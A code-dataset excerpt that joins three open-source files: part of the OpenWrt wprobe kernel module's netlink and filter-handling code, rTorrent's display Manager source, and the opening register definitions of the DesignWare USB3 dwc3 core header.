if (item[i].flags & WPROBE_F_KEEPSTAT) {
if (nla_put_u64(msg, WPROBE_VAL_SUM, val[i].s))
goto nla_put_failure;
if (nla_put_u64(msg, WPROBE_VAL_SUM_SQ, val[i].ss))
goto nla_put_failure;
if (nla_put_u32(msg, WPROBE_VAL_SAMPLES, (u32) val[i].n))
goto nla_put_failure;
if (nla_put_msecs(msg, WPROBE_VAL_SCALE_TIME, val[i].scale_timestamp))
goto nla_put_failure;
}
done:
genlmsg_end(msg, hdr);
return true;
nla_put_failure:
genlmsg_cancel(msg, hdr);
return false;
}
static bool
wprobe_send_item_info(struct sk_buff *msg, struct netlink_callback *cb,
struct wprobe_iface *dev,
const struct wprobe_item *item, int i)
{
struct genlmsghdr *hdr;
hdr = genlmsg_put(msg, SKB_PORTID(cb->skb), cb->nlh->nlmsg_seq,
&wprobe_fam, NLM_F_MULTI, WPROBE_CMD_GET_LIST);
if ((i == 0) && (dev->addr != NULL)) {
if (nla_put(msg, WPROBE_ATTR_MAC, 6, dev->addr))
goto nla_put_failure;
}
if (nla_put_u32(msg, WPROBE_ATTR_ID, (u32) i))
goto nla_put_failure;
if (nla_put_string(msg, WPROBE_ATTR_NAME, item[i].name))
goto nla_put_failure;
if (nla_put_u8(msg, WPROBE_ATTR_TYPE, item[i].type))
goto nla_put_failure;
if (nla_put_u32(msg, WPROBE_ATTR_FLAGS, item[i].flags))
goto nla_put_failure;
genlmsg_end(msg, hdr);
return true;
nla_put_failure:
genlmsg_cancel(msg, hdr);
return false;
}
static struct wprobe_link *
wprobe_find_link(struct wprobe_iface *dev, const char *mac)
{
struct wprobe_link *l;
list_for_each_entry_rcu(l, &dev->links, list) {
if (!memcmp(l->addr, mac, 6))
return l;
}
return NULL;
}
static bool
wprobe_dump_filter_group(struct sk_buff *msg, struct wprobe_filter_group *fg, struct netlink_callback *cb)
{
struct genlmsghdr *hdr;
struct nlattr *group, *item;
int i;
hdr = genlmsg_put(msg, SKB_PORTID(cb->skb), cb->nlh->nlmsg_seq,
&wprobe_fam, NLM_F_MULTI, WPROBE_CMD_GET_FILTER);
if (!hdr)
return false;
if (nla_put_string(msg, WPROBE_ATTR_NAME, fg->name))
goto nla_put_failure;
group = nla_nest_start(msg, WPROBE_ATTR_FILTER_GROUP);
for (i = 0; i < fg->n_items; i++) {
struct wprobe_filter_item *fi = fg->items[i];
struct wprobe_filter_counter *fc = &fg->counters[i];
item = nla_nest_start(msg, WPROBE_ATTR_FILTER_GROUP);
if (nla_put_string(msg, WPROBE_ATTR_NAME, fi->hdr.name))
goto nla_put_failure;
if (nla_put_u64(msg, WPROBE_ATTR_RXCOUNT, fc->rx))
goto nla_put_failure;
if (nla_put_u64(msg, WPROBE_ATTR_TXCOUNT, fc->tx))
goto nla_put_failure;
nla_nest_end(msg, item);
}
nla_nest_end(msg, group);
genlmsg_end(msg, hdr);
return true;
nla_put_failure:
genlmsg_cancel(msg, hdr);
return false;
}
static int
wprobe_dump_filters(struct sk_buff *skb, struct netlink_callback *cb)
{
struct wprobe_iface *dev = (struct wprobe_iface *)cb->args[0];
struct wprobe_filter *f;
int err = 0;
int i = 0;
if (!dev) {
err = nlmsg_parse(cb->nlh, GENL_HDRLEN + wprobe_fam.hdrsize,
wprobe_fam.attrbuf, wprobe_fam.maxattr, wprobe_policy);
if (err)
goto done;
dev = wprobe_get_dev(wprobe_fam.attrbuf[WPROBE_ATTR_INTERFACE]);
if (!dev) {
err = -ENODEV;
goto done;
}
cb->args[0] = (long) dev;
cb->args[1] = 0;
} else {
if (!wprobe_check_ptr(&wprobe_if, &dev->list)) {
err = -ENODEV;
goto done;
}
}
rcu_read_lock();
f = rcu_dereference(dev->active_filter);
if (!f)
goto abort;
for (i = cb->args[1]; i < f->n_groups; i++) {
if (unlikely(!wprobe_dump_filter_group(skb, &f->groups[i], cb)))
break;
}
cb->args[1] = i;
abort:
rcu_read_unlock();
err = skb->len;
done:
return err;
}
static bool
wprobe_dump_link(struct sk_buff *msg, struct wprobe_link *l, struct netlink_callback *cb)
{
struct genlmsghdr *hdr;
hdr = genlmsg_put(msg, SKB_PORTID(cb->skb), cb->nlh->nlmsg_seq,
&wprobe_fam, NLM_F_MULTI, WPROBE_CMD_GET_LINKS);
if (!hdr)
return false;
if (nla_put(msg, WPROBE_ATTR_MAC, 6, l->addr))
goto nla_put_failure;
genlmsg_end(msg, hdr);
return true;
nla_put_failure:
genlmsg_cancel(msg, hdr);
return false;
}
static int
wprobe_dump_links(struct sk_buff *skb, struct netlink_callback *cb)
{
struct wprobe_iface *dev = (struct wprobe_iface *)cb->args[0];
struct wprobe_link *l;
int err = 0;
int i = 0;
if (!dev) {
err = nlmsg_parse(cb->nlh, GENL_HDRLEN + wprobe_fam.hdrsize,
wprobe_fam.attrbuf, wprobe_fam.maxattr, wprobe_policy);
if (err)
goto done;
dev = wprobe_get_dev(wprobe_fam.attrbuf[WPROBE_ATTR_INTERFACE]);
if (!dev) {
err = -ENODEV;
goto done;
}
cb->args[0] = (long) dev;
} else {
if (!wprobe_check_ptr(&wprobe_if, &dev->list)) {
err = -ENODEV;
goto done;
}
}
rcu_read_lock();
list_for_each_entry_rcu(l, &dev->links, list) {
if (i < cb->args[1])
continue;
if (unlikely(!wprobe_dump_link(skb, l, cb)))
break;
i++;
}
cb->args[1] = i;
rcu_read_unlock();
err = skb->len;
done:
return err;
}
#define WPROBE_F_LINK (1 << 31) /* for internal use */
static int
wprobe_dump_info(struct sk_buff *skb, struct netlink_callback *cb)
{
struct wprobe_iface *dev = (struct wprobe_iface *)cb->args[0];
struct wprobe_link *l = (struct wprobe_link *)cb->args[1];
struct wprobe_value *val;
const struct wprobe_item *item;
struct genlmsghdr *hdr;
unsigned long flags;
int cmd, n, i = cb->args[3];
u32 vflags = cb->args[2];
int err = 0;
hdr = (struct genlmsghdr *)nlmsg_data(cb->nlh);
cmd = hdr->cmd;
/* since the attribute value list might be too big for a single netlink
* message, the device, link and offset get stored in the netlink callback.
* if this is the first request, we need to do the full lookup for the device.
*
* access to the device and link structure is synchronized through rcu.
*/
rcu_read_lock();
if (!dev) {
err = nlmsg_parse(cb->nlh, GENL_HDRLEN + wprobe_fam.hdrsize,
wprobe_fam.attrbuf, wprobe_fam.maxattr, wprobe_policy);
if (err)
goto done;
err = -ENOENT;
dev = wprobe_get_dev(wprobe_fam.attrbuf[WPROBE_ATTR_INTERFACE]);
if (!dev)
goto done;
if (cmd == WPROBE_CMD_GET_INFO) {
if (wprobe_fam.attrbuf[WPROBE_ATTR_MAC]) {
l = wprobe_find_link(dev, nla_data(wprobe_fam.attrbuf[WPROBE_ATTR_MAC]));
if (!l)
goto done;
vflags = l->flags;
}
if (l) {
item = dev->link_items;
n = dev->n_link_items;
val = l->val;
} else {
item = dev->global_items;
n = dev->n_global_items;
val = dev->val;
}
/* sync data and move to temp storage for the query */
spin_lock_irqsave(&dev->lock, flags);
err = wprobe_sync_data(dev, l, true);
if (!err)
memcpy(dev->query_val, val, n * sizeof(struct wprobe_value));
spin_unlock_irqrestore(&dev->lock, flags);
if (err)
goto done;
}
if (wprobe_fam.attrbuf[WPROBE_ATTR_FLAGS])
vflags |= nla_get_u32(wprobe_fam.attrbuf[WPROBE_ATTR_FLAGS]);
if (wprobe_fam.attrbuf[WPROBE_ATTR_MAC])
vflags |= WPROBE_F_LINK;
cb->args[0] = (long) dev;
cb->args[1] = (long) l;
cb->args[2] = vflags;
cb->args[3] = 0;
} else {
/* when pulling pointers from the callback, validate them
* against the list using rcu to make sure that we won't
* dereference pointers to free'd memory after the last
* grace period */
err = -ENOENT;
if (!wprobe_check_ptr(&wprobe_if, &dev->list))
goto done;
if (l && !wprobe_check_ptr(&dev->links, &l->list))
goto done;
}
if (vflags & WPROBE_F_LINK) {
item = dev->link_items;
n = dev->n_link_items;
} else {
item = dev->global_items;
n = dev->n_global_items;
}
err = 0;
switch(cmd) {
case WPROBE_CMD_GET_INFO:
while (i < n) {
if (!wprobe_send_item_value(skb, cb, dev, l, item, i, vflags))
break;
i++;
}
break;
case WPROBE_CMD_GET_LIST:
while (i < n) {
if (!wprobe_send_item_info(skb, cb, dev, item, i))
break;
i++;
}
break;
default:
err = -EINVAL;
goto done;
}
cb->args[3] = i;
err = skb->len;
done:
rcu_read_unlock();
return err;
}
#undef WPROBE_F_LINK
static int
wprobe_update_auto_measurement(struct wprobe_iface *dev, u32 interval)
{
if (interval && (interval < WPROBE_MIN_INTERVAL))
return -EINVAL;
if (!interval && dev->measure_interval)
del_timer_sync(&dev->measure_timer);
dev->measure_interval = interval;
if (!interval)
return 0;
/* kick of a new measurement immediately */
mod_timer(&dev->measure_timer, jiffies + 1);
return 0;
}
static int
wprobe_measure(struct sk_buff *skb, struct genl_info *info)
{
struct wprobe_iface *dev;
struct wprobe_link *l = NULL;
int err = -ENOENT;
rcu_read_lock();
dev = wprobe_get_dev(info->attrs[WPROBE_ATTR_INTERFACE]);
if (!dev)
goto done;
if (info->attrs[WPROBE_ATTR_MAC]) {
l = wprobe_find_link(dev, nla_data(wprobe_fam.attrbuf[WPROBE_ATTR_MAC]));
if (!l)
goto done;
}
err = wprobe_sync_data(dev, l, false);
done:
rcu_read_unlock();
return err;
}
static int
wprobe_check_filter(void *data, int datalen, int gs)
{
struct wprobe_filter_item_hdr *hdr;
void *orig_data = data;
void *end = data + datalen;
int i, j, k, is, cur_is;
for (i = j = is = 0; i < gs; i++) {
hdr = data;
data += sizeof(*hdr);
if (data > end)
goto overrun;
hdr->name[31] = 0;
cur_is = be32_to_cpu(hdr->n_items);
hdr->n_items = cur_is;
is += cur_is;
for (j = 0; j < cur_is; j++) {
struct sock_filter *sf;
int n_items;
hdr = data;
data += sizeof(*hdr);
if (data > end)
goto overrun;
hdr->name[31] = 0;
n_items = be32_to_cpu(hdr->n_items);
hdr->n_items = n_items;
if (n_items > 1024)
goto overrun;
sf = data;
if (n_items > 0) {
for (k = 0; k < n_items; k++) {
sf->code = be16_to_cpu(sf->code);
sf->k = be32_to_cpu(sf->k);
sf++;
}
if (sk_chk_filter(data, n_items) != 0) {
printk("%s: filter check failed at group %d, item %d\n", __func__, i, j);
return 0;
}
}
data += n_items * sizeof(struct sock_filter);
}
}
return is;
overrun:
printk(KERN_ERR "%s: overrun during filter check at group %d, item %d, offset=%d, len=%d\n", __func__, i, j, (data - orig_data), datalen);
return 0;
}
static void
wprobe_free_filter(struct wprobe_filter *f)
{
if (f->skb)
kfree_skb(f->skb);
if (f->data)
kfree(f->data);
if (f->items)
kfree(f->items);
if (f->counters)
kfree(f->counters);
kfree(f);
}
static int
wprobe_set_filter(struct wprobe_iface *dev, void *data, int len)
{
struct wprobe_filter_hdr *fhdr;
struct wprobe_rtap_hdr *rtap;
struct wprobe_filter *f;
int i, j, cur_is, is, gs;
if (len < sizeof(*fhdr))
return -EINVAL;
fhdr = data;
data += sizeof(*fhdr);
len -= sizeof(*fhdr);
if (memcmp(fhdr->magic, "WPFF", 4) != 0) {
printk(KERN_ERR "%s: filter rejected (invalid magic)\n", __func__);
return -EINVAL;
}
gs = be16_to_cpu(fhdr->n_groups);
is = wprobe_check_filter(data, len, gs);
if (is == 0)
return -EINVAL;
f = kzalloc(sizeof(struct wprobe_filter) +
gs * sizeof(struct wprobe_filter_group), GFP_ATOMIC);
if (!f)
return -ENOMEM;
f->skb = alloc_skb(WPROBE_MAX_FRAME_SIZE, GFP_ATOMIC);
if (!f->skb)
goto error;
f->data = kmalloc(len, GFP_ATOMIC);
if (!f->data)
goto error;
f->items = kzalloc(sizeof(struct wprobe_filter_item *) * is, GFP_ATOMIC);
if (!f->items)
goto error;
f->counters = kzalloc(sizeof(struct wprobe_filter_counter) * is, GFP_ATOMIC);
if (!f->counters)
goto error;
spin_lock_init(&f->lock);
memcpy(f->data, data, len);
f->n_groups = gs;
if (f->hdrlen < sizeof(struct wprobe_wlan_hdr))
f->hdrlen = sizeof(struct wprobe_wlan_hdr);
rtap = (struct wprobe_rtap_hdr *)skb_put(f->skb, sizeof(*rtap));
memset(rtap, 0, sizeof(*rtap));
rtap->len = cpu_to_le16(sizeof(struct wprobe_rtap_hdr) + f->hdrlen);
data = f->data;
cur_is = 0;
for (i = 0; i < gs; i++) {
struct wprobe_filter_item_hdr *hdr = data;
struct wprobe_filter_group *g = &f->groups[i];
data += sizeof(*hdr);
g->name = hdr->name;
g->items = &f->items[cur_is];
g->counters = &f->counters[cur_is];
g->n_items = hdr->n_items;
for (j = 0; j < g->n_items; j++) {
hdr = data;
f->items[cur_is++] = data;
data += sizeof(*hdr) + hdr->n_items * sizeof(struct sock_filter);
}
}
rcu_assign_pointer(dev->active_filter, f);
return 0;
error:
wprobe_free_filter(f);
return -ENOMEM;
}
static int
wprobe_set_config(struct sk_buff *skb, struct genl_info *info)
{
struct wprobe_iface *dev;
unsigned long flags;
int err = -ENOENT;
u32 scale_min, scale_max;
u32 scale_m, scale_d;
struct nlattr *attr;
struct wprobe_filter *filter_free = NULL;
rcu_read_lock();
dev = wprobe_get_dev(info->attrs[WPROBE_ATTR_INTERFACE]);
if (!dev)
goto done_unlocked;
err = -EINVAL;
spin_lock_irqsave(&dev->lock, flags);
if (info->attrs[WPROBE_ATTR_MAC]) {
/* not supported yet */
goto done;
}
if (info->attrs[WPROBE_ATTR_FLAGS]) {
u32 flags = nla_get_u32(info->attrs[WPROBE_ATTR_FLAGS]);
if (flags & BIT(WPROBE_F_RESET)) {
struct wprobe_link *l;
memset(dev->val, 0, sizeof(struct wprobe_value) * dev->n_global_items);
list_for_each_entry_rcu(l, &dev->links, list) {
memset(l->val, 0, sizeof(struct wprobe_value) * dev->n_link_items);
}
}
}
if (info->attrs[WPROBE_ATTR_SAMPLES_MIN] ||
info->attrs[WPROBE_ATTR_SAMPLES_MAX]) {
if ((attr = info->attrs[WPROBE_ATTR_SAMPLES_MIN]))
scale_min = nla_get_u32(attr);
else
scale_min = dev->scale_min;
if ((attr = info->attrs[WPROBE_ATTR_SAMPLES_MAX]))
scale_max = nla_get_u32(attr);
else
scale_max = dev->scale_max;
if ((!scale_min && !scale_max) ||
(scale_min && scale_max && (scale_min < scale_max))) {
dev->scale_min = scale_min;
dev->scale_max = scale_max;
} else {
goto done;
}
}
if (info->attrs[WPROBE_ATTR_SAMPLES_SCALE_M] &&
info->attrs[WPROBE_ATTR_SAMPLES_SCALE_D]) {
scale_m = nla_get_u32(info->attrs[WPROBE_ATTR_SAMPLES_SCALE_M]);
scale_d = nla_get_u32(info->attrs[WPROBE_ATTR_SAMPLES_SCALE_D]);
if (!scale_d || (scale_m > scale_d))
goto done;
dev->scale_m = scale_m;
dev->scale_d = scale_d;
}
if ((attr = info->attrs[WPROBE_ATTR_FILTER])) {
filter_free = rcu_dereference(dev->active_filter);
rcu_assign_pointer(dev->active_filter, NULL);
if (nla_len(attr) > 0)
wprobe_set_filter(dev, nla_data(attr), nla_len(attr));
}
err = 0;
if (info->attrs[WPROBE_ATTR_INTERVAL]) {
/* change of measurement interval requested */
err = wprobe_update_auto_measurement(dev,
(u32) nla_get_u64(info->attrs[WPROBE_ATTR_INTERVAL]));
}
done:
spin_unlock_irqrestore(&dev->lock, flags);
done_unlocked:
rcu_read_unlock();
if (filter_free) {
synchronize_rcu();
wprobe_free_filter(filter_free);
}
return err;
}
static struct genl_ops wprobe_ops[] = {
{
.cmd = WPROBE_CMD_GET_INFO,
.dumpit = wprobe_dump_info,
.policy = wprobe_policy,
},
{
.cmd = WPROBE_CMD_GET_LIST,
.dumpit = wprobe_dump_info,
.policy = wprobe_policy,
},
{
.cmd = WPROBE_CMD_MEASURE,
.doit = wprobe_measure,
.policy = wprobe_policy,
},
{
.cmd = WPROBE_CMD_GET_LINKS,
.dumpit = wprobe_dump_links,
.policy = wprobe_policy,
},
{
.cmd = WPROBE_CMD_CONFIG,
.doit = wprobe_set_config,
.policy = wprobe_policy,
},
{
.cmd = WPROBE_CMD_GET_FILTER,
.dumpit = wprobe_dump_filters,
.policy = wprobe_policy,
},
};
static void __exit
wprobe_exit(void)
{
BUG_ON(!list_empty(&wprobe_if));
genl_unregister_family(&wprobe_fam);
}
static int __init
wprobe_init(void)
{
int i, err;
spin_lock_init(&wprobe_lock);
INIT_LIST_HEAD(&wprobe_if);
err = genl_register_family(&wprobe_fam);
if (err)
return err;
for (i = 0; i < ARRAY_SIZE(wprobe_ops); i++) {
err = genl_register_ops(&wprobe_fam, &wprobe_ops[i]);
if (err)
goto error;
}
return 0;
error:
genl_unregister_family(&wprobe_fam);
return err;
}
module_init(wprobe_init);
module_exit(wprobe_exit);
MODULE_LICENSE("GPL");
| blue-cloud/openwrt-20150705 | package/net/wprobe/src/kernel/wprobe-core.c | C | gpl-2.0 | 27,301 |
// rTorrent - BitTorrent client
// Copyright (C) 2005-2011, Jari Sundell
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
// In addition, as a special exception, the copyright holders give
// permission to link the code of portions of this program with the
// OpenSSL library under certain conditions as described in each
// individual source file, and distribute linked combinations
// including the two.
//
// You must obey the GNU General Public License in all respects for
// all of the code used other than OpenSSL. If you modify file(s)
// with this exception, you may extend this exception to your version
// of the file(s), but you are not obligated to do so. If you do not
// wish to do so, delete this exception statement from your version.
// If you delete this exception statement from all source files in the
// program, then also delete it here.
//
// Contact: Jari Sundell <jaris@ifi.uio.no>
//
// Skomakerveien 33
// 3185 Skoppum, NORWAY
#include "config.h"
#include <stdexcept>
#include <algorithm>
#include <rak/functional.h>
#include "canvas.h"
#include "globals.h"
#include "manager.h"
#include "window.h"
namespace display {
Manager::Manager() :
m_forceRedraw(false) {
m_taskUpdate.slot() = std::bind(&Manager::receive_update, this);
}
Manager::~Manager() {
priority_queue_erase(&taskScheduler, &m_taskUpdate);
}
void
Manager::force_redraw() {
m_forceRedraw = true;
}
void
Manager::schedule(Window* w, rak::timer t) {
rak::priority_queue_erase(&m_scheduler, w->task_update());
rak::priority_queue_insert(&m_scheduler, w->task_update(), t);
schedule_update(50000);
}
void
Manager::unschedule(Window* w) {
rak::priority_queue_erase(&m_scheduler, w->task_update());
schedule_update(50000);
}
void
Manager::adjust_layout() {
Canvas::redraw_std();
m_rootFrame.balance(0, 0, Canvas::get_screen_width(), Canvas::get_screen_height());
schedule_update(0);
}
void
Manager::receive_update() {
if (m_forceRedraw) {
m_forceRedraw = false;
display::Canvas::resize_term(display::Canvas::term_size());
Canvas::redraw_std();
adjust_layout();
m_rootFrame.redraw();
}
Canvas::refresh_std();
rak::priority_queue_perform(&m_scheduler, cachedTime);
m_rootFrame.refresh();
Canvas::do_update();
m_timeLastUpdate = cachedTime;
schedule_update(50000);
}
void
Manager::schedule_update(uint32_t minInterval) {
if (m_scheduler.empty()) {
rak::priority_queue_erase(&taskScheduler, &m_taskUpdate);
return;
}
if (!m_taskUpdate.is_queued() || m_taskUpdate.time() > m_scheduler.top()->time()) {
rak::priority_queue_erase(&taskScheduler, &m_taskUpdate);
rak::priority_queue_insert(&taskScheduler, &m_taskUpdate, std::max(m_scheduler.top()->time(), m_timeLastUpdate + minInterval));
}
}
}
| jurnho/rtorrent | src/display/manager.cc | C++ | gpl-2.0 | 3,475 |
/**
* core.h - DesignWare USB3 DRD Core Header
*
* Copyright (C) 2010-2011 Texas Instruments Incorporated - http://www.ti.com
*
* Authors: Felipe Balbi <balbi@ti.com>,
* Sebastian Andrzej Siewior <bigeasy@linutronix.de>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The names of the above-listed copyright holders may not be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* ALTERNATIVELY, this software may be distributed under the terms of the
* GNU General Public License ("GPL") version 2, as published by the Free
* Software Foundation.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __DRIVERS_USB_DWC3_CORE_H
#define __DRIVERS_USB_DWC3_CORE_H
#include <linux/device.h>
#include <linux/spinlock.h>
#include <linux/ioport.h>
#include <linux/list.h>
#include <linux/dma-mapping.h>
#include <linux/mm.h>
#include <linux/debugfs.h>
#include <linux/usb/ch9.h>
#include <linux/usb/gadget.h>
#include "dwc3_otg.h"
/* Global constants */
#define DWC3_EP0_BOUNCE_SIZE 512
#define DWC3_ENDPOINTS_NUM 32
#define DWC3_XHCI_RESOURCES_NUM 2
#define DWC3_EVENT_BUFFERS_SIZE (2 * PAGE_SIZE)
#define DWC3_EVENT_TYPE_MASK 0xfe
#define DWC3_EVENT_TYPE_DEV 0
#define DWC3_EVENT_TYPE_CARKIT 3
#define DWC3_EVENT_TYPE_I2C 4
#define DWC3_DEVICE_EVENT_DISCONNECT 0
#define DWC3_DEVICE_EVENT_RESET 1
#define DWC3_DEVICE_EVENT_CONNECT_DONE 2
#define DWC3_DEVICE_EVENT_LINK_STATUS_CHANGE 3
#define DWC3_DEVICE_EVENT_WAKEUP 4
#define DWC3_DEVICE_EVENT_HIBER_REQ 5
#define DWC3_DEVICE_EVENT_EOPF 6
#define DWC3_DEVICE_EVENT_SOF 7
#define DWC3_DEVICE_EVENT_ERRATIC_ERROR 9
#define DWC3_DEVICE_EVENT_CMD_CMPL 10
#define DWC3_DEVICE_EVENT_OVERFLOW 11
#define DWC3_DEVICE_EVENT_VENDOR_DEV_TEST_LMP 12
#define DWC3_GEVNTCOUNT_MASK 0xfffc
#define DWC3_GSNPSID_MASK 0xffff0000
#define DWC3_GSNPSREV_MASK 0xffff
/* DWC3 registers memory space boundries */
#define DWC3_XHCI_REGS_START 0x0
#define DWC3_XHCI_REGS_END 0x7fff
#define DWC3_GLOBALS_REGS_START 0xc100
#define DWC3_GLOBALS_REGS_END 0xc6ff
#define DWC3_DEVICE_REGS_START 0xc700
#define DWC3_DEVICE_REGS_END 0xcbff
#define DWC3_OTG_REGS_START 0xcc00
#define DWC3_OTG_REGS_END 0xccff
/* Global Registers */
#define DWC3_GSBUSCFG0 0xc100
#define DWC3_GSBUSCFG1 0xc104
#define DWC3_GTXTHRCFG 0xc108
#define DWC3_GRXTHRCFG 0xc10c
#define DWC3_GCTL 0xc110
#define DWC3_GEVTEN 0xc114
#define DWC3_GSTS 0xc118
#define DWC3_GSNPSID 0xc120
#define DWC3_GGPIO 0xc124
#define DWC3_GUID 0xc128
#define DWC3_GUCTL 0xc12c
#define DWC3_GBUSERRADDR0 0xc130
#define DWC3_GBUSERRADDR1 0xc134
#define DWC3_GPRTBIMAP0 0xc138
#define DWC3_GPRTBIMAP1 0xc13c
#define DWC3_GHWPARAMS0 0xc140
#define DWC3_GHWPARAMS1 0xc144
#define DWC3_GHWPARAMS2 0xc148
#define DWC3_GHWPARAMS3 0xc14c
#define DWC3_GHWPARAMS4 0xc150
#define DWC3_GHWPARAMS5 0xc154
#define DWC3_GHWPARAMS6 0xc158
#define DWC3_GHWPARAMS7 0xc15c
#define DWC3_GDBGFIFOSPACE 0xc160
#define DWC3_GDBGLTSSM 0xc164
#define DWC3_GPRTBIMAP_HS0 0xc180
#define DWC3_GPRTBIMAP_HS1 0xc184
#define DWC3_GPRTBIMAP_FS0 0xc188
#define DWC3_GPRTBIMAP_FS1 0xc18c
#define DWC3_GUSB2PHYCFG(n) (0xc200 + (n * 0x04))
#define DWC3_GUSB2I2CCTL(n) (0xc240 + (n * 0x04))
#define DWC3_GUSB2PHYACC(n) (0xc280 + (n * 0x04))
#define DWC3_GUSB3PIPECTL(n) (0xc2c0 + (n * 0x04))
#define DWC3_GTXFIFOSIZ(n) (0xc300 + (n * 0x04))
#define DWC3_GRXFIFOSIZ(n) (0xc380 + (n * 0x04))
#define DWC3_GEVNTADRLO(n) (0xc400 + (n * 0x10))
#define DWC3_GEVNTADRHI(n) (0xc404 + (n * 0x10))
#define DWC3_GEVNTSIZ(n) (0xc408 + (n * 0x10))
#define DWC3_GEVNTCOUNT(n) (0xc40c + (n * 0x10))
#define DWC3_GHWPARAMS8 0xc600
/* Device Registers */
#define DWC3_DCFG 0xc700
#define DWC3_DCTL 0xc704
#define DWC3_DEVTEN 0xc708
#define DWC3_DSTS 0xc70c
#define DWC3_DGCMDPAR 0xc710
#define DWC3_DGCMD 0xc714
#define DWC3_DALEPENA 0xc720
#define DWC3_DEPCMDPAR2(n) (0xc800 + (n * 0x10))
#define DWC3_DEPCMDPAR1(n) (0xc804 + (n * 0x10))
#define DWC3_DEPCMDPAR0(n) (0xc808 + (n * 0x10))
#define DWC3_DEPCMD(n) (0xc80c + (n * 0x10))
/* OTG Registers */
#define DWC3_OCFG 0xcc00
#define DWC3_OCTL 0xcc04
#define DWC3_OEVT 0xcc08
#define DWC3_OEVTEN 0xcc0c
#define DWC3_OSTS 0xcc10
/* Bit fields */
/* Global Configuration Register */
#define DWC3_GCTL_PWRDNSCALE(n) ((n) << 19)
#define DWC3_GCTL_PWRDNSCALEMASK (0xFFF80000)
#define DWC3_GCTL_U2RSTECN (1 << 16)
#define DWC3_GCTL_SOFITPSYNC (1 << 10)
#define DWC3_GCTL_U2EXIT_LFPS (1 << 2)
#define DWC3_GCTL_RAMCLKSEL(x) (((x) & DWC3_GCTL_CLK_MASK) << 6)
#define DWC3_GCTL_CLK_BUS (0)
#define DWC3_GCTL_CLK_PIPE (1)
#define DWC3_GCTL_CLK_PIPEHALF (2)
#define DWC3_GCTL_CLK_MASK (3)
#define DWC3_GCTL_PRTCAP(n) (((n) & (3 << 12)) >> 12)
#define DWC3_GCTL_PRTCAPDIR(n) ((n) << 12)
#define DWC3_GCTL_PRTCAP_HOST 1
#define DWC3_GCTL_PRTCAP_DEVICE 2
#define DWC3_GCTL_PRTCAP_OTG 3
#define DWC3_GCTL_CORESOFTRESET (1 << 11)
#define DWC3_GCTL_SCALEDOWN(n) ((n) << 4)
#define DWC3_GCTL_SCALEDOWN_MASK DWC3_GCTL_SCALEDOWN(3)
#define DWC3_GCTL_DISSCRAMBLE (1 << 3)
#define DWC3_GCTL_GBLHIBERNATIONEN (1 << 1)
#define DWC3_GCTL_DSBLCLKGTNG (1 << 0)
/* Global User Control Register */
#define DWC3_GUCTL_REFCLKPER (0x3FF << 22)
/* Global USB2 PHY Configuration Register */
#define DWC3_GUSB2PHYCFG_PHYSOFTRST (1 << 31)
#define DWC3_GUSB2PHYCFG_SUSPHY (1 << 6)
/* Global USB3 PIPE Control Register */
#define DWC3_GUSB3PIPECTL_PHYSOFTRST (1 << 31)
#define DWC3_GUSB3PIPECTL_SUSPHY (1 << 17)
#define DWC3_GUSB3PIPECTL_DELAY_P1P2P3 (7 << 19)
#define DWC3_GUSB3PIPECTL_DIS_RXDET_U3_RXDET (1 << 22)
#define DWC3_GUSB3PIPECTL_ELASTIC_BUF_MODE (1 << 0)
/* Global TX Fifo Size Register */
#define DWC3_GTXFIFOSIZ_TXFDEF(n) ((n) & 0xffff)
#define DWC3_GTXFIFOSIZ_TXFSTADDR(n) ((n) & 0xffff0000)
/* Global HWPARAMS1 Register */
#define DWC3_GHWPARAMS1_EN_PWROPT(n) (((n) & (3 << 24)) >> 24)
#define DWC3_GHWPARAMS1_EN_PWROPT_NO 0
#define DWC3_GHWPARAMS1_EN_PWROPT_CLK 1
#define DWC3_GHWPARAMS1_EN_PWROPT_HIB 2
#define DWC3_GHWPARAMS1_PWROPT(n) ((n) << 24)
#define DWC3_GHWPARAMS1_PWROPT_MASK DWC3_GHWPARAMS1_PWROPT(3)
/* Global HWPARAMS4 Register */
#define DWC3_GHWPARAMS4_HIBER_SCRATCHBUFS(n) (((n) & (0x0f << 13)) >> 13)
#define DWC3_MAX_HIBER_SCRATCHBUFS 15
/* Global HWPARAMS6 Register */
#define DWC3_GHWPARAMS6_SRP_SUPPORT (1 << 10)
/* Device Configuration Register */
#define DWC3_DCFG_LPM_CAP (1 << 22)
#define DWC3_DCFG_DEVADDR(addr) ((addr) << 3)
#define DWC3_DCFG_DEVADDR_MASK DWC3_DCFG_DEVADDR(0x7f)
#define DWC3_DCFG_SPEED_MASK (7 << 0)
#define DWC3_DCFG_SUPERSPEED (4 << 0)
#define DWC3_DCFG_HIGHSPEED (0 << 0)
